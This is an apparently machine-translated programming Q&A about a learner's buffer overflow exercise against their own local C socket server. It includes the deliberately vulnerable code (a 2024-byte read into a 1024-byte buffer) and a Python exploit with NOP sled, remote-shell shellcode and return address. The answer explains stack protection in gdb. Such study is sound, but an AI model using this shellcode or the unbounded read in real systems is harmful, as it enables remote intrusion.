2013-09-28 40 views
0

我正在學習/理解緩衝區溢出。雖然我已經知道了,但現在我在利用這個(我的)易受攻擊的代碼方面遇到了問題。緩衝區溢出 - 利用gdb進行調試時工作,但

當我運行我的漏洞利用時,當服務器運行在gdb中,exploit工作,我得到遠程shell(有效負載被正確執行)。但是,然後我啓動外部調試器的服務器,當我開始我的利用我得到浮點異常。任何人都可以請解釋我做錯了什麼?

服務器:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 

void error(const char *msg) { 
    perror(msg); 
    exit(1); 
} 

void passcheck(int sockfd) { 
    char buffer[1024]; 
    int newsockfd, n; 
    struct sockaddr_in cli_addr; 
    socklen_t clilen; 

    for (n=0; n<1024; n++) buffer[n] = 0x31; 

    clilen = sizeof(cli_addr); 
    newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); 
    if (newsockfd < 0) 
     error("ERROR on accept"); 
    n = write(newsockfd,"PASSWORD: ",10); 
    if (n < 0) error("ERROR writing to socket"); 
    n = read(newsockfd,buffer,2024); 
    if (n < 0) error("ERROR reading from socket"); 
    close(newsockfd); 
    return; 
} 
int main(int argc, char *argv[]) { 
    int sockfd, portno; 
    struct sockaddr_in serv_addr; 
    sockfd = socket(AF_INET, SOCK_STREAM, 0); 
    if (sockfd < 0) 
     error("ERROR opening socket"); 
    bzero((char *) &serv_addr, sizeof(serv_addr)); 
    portno = 5001; 
    serv_addr.sin_family = AF_INET; 
    serv_addr.sin_addr.s_addr = INADDR_ANY; 
    serv_addr.sin_port = htons(portno); 
    if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) 
     error("ERROR on binding"); 
    listen(sockfd,5); 
    while(1) { 
    passcheck(sockfd); 
    printf("Try again\n"); 
    } 
    close(sockfd); 
    return 0; 

利用:

#!/usr/bin/python 

import socket 

payload = "\x90"*(502)+"\xe8\xff\xff\xff\xff\xc3\x5d\x8d\x6d\x4a\x31\xc0\x99\x6a\x01\x5b\x52\x53\x6a\x02\xff\xd5\x96\x5b\x52\x66\x68\x2b\x67\x66\x53\x89\xe1\x6a\x10\x51\x56\xff\xd5\x43\x43\x52\x56\xff\xd5\x43\x52\x52\x56\xff\xd5\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\x04\x5f\x6a\x66\x58\x89\xe1\xcd\x80\x57\xc3\x90"+"\x04\xf3\xff\xbf"*150 

s = socket.socket() 
host = "127.0.0.1" 
port = 5001 
s.connect((host, port)) 
s.send(payload) 
s.close 

回答

0

當我嘗試運行您的示例程序(在OS X),我得到一個分段錯誤,但我得到的是否不是我在GDB運行:

Program received signal SIGSEGV, Segmentation fault. 
0x00007fff832c2701 in __findenv() from /usr/lib/system/libsystem_c.dylib 
(gdb) bt 
#0 0x00007fff832c2701 in __findenv() from /usr/lib/system/libsystem_c.dylib 
#1 0x00007fff832c2754 in getenv() from /usr/lib/system/libsystem_c.dylib 
#2 0x00007fff83283b35 in _simple_asl_init() 
    from /usr/lib/system/libsystem_c.dylib 
#3 0x00007fff8327afc0 in pthread_once() 
    from /usr/lib/system/libsystem_c.dylib 
#4 0x00007fff832838f8 in _simple_asl_log_prog() 
    from /usr/lib/system/libsystem_c.dylib 
#5 0x00007fff832bff8b in __stack_chk_fail() 
    from /usr/lib/system/libsystem_c.dylib 
#6 0x0000000100000c86 in passcheck (sockfd=-1073745148) at foo.cpp:31 

注意__stack_chk_fail似乎是由海灣合作委員會使用的stack smashing protection的一部分,所以ÿ我們的緩衝區溢出嘗試並未被忽視。我必須承認,我並不完全確定爲什麼它稍後會出現段錯誤。

無論採用哪種方式,如果您在爲自己嘗試此功能時遇到類似情況,我不會感到驚訝。如果你想嘗試緩衝區溢出,我會建議使用一個較舊的Linux發行版& gcc版本,並確保關閉GCC保護機制。我建議Damn Small Linux,它仍然有一個2.4內核,我似乎還記得2.6添加一些緩衝區溢出保護機制。

你已經知道緩衝區溢出並不像以前那樣簡單! :-)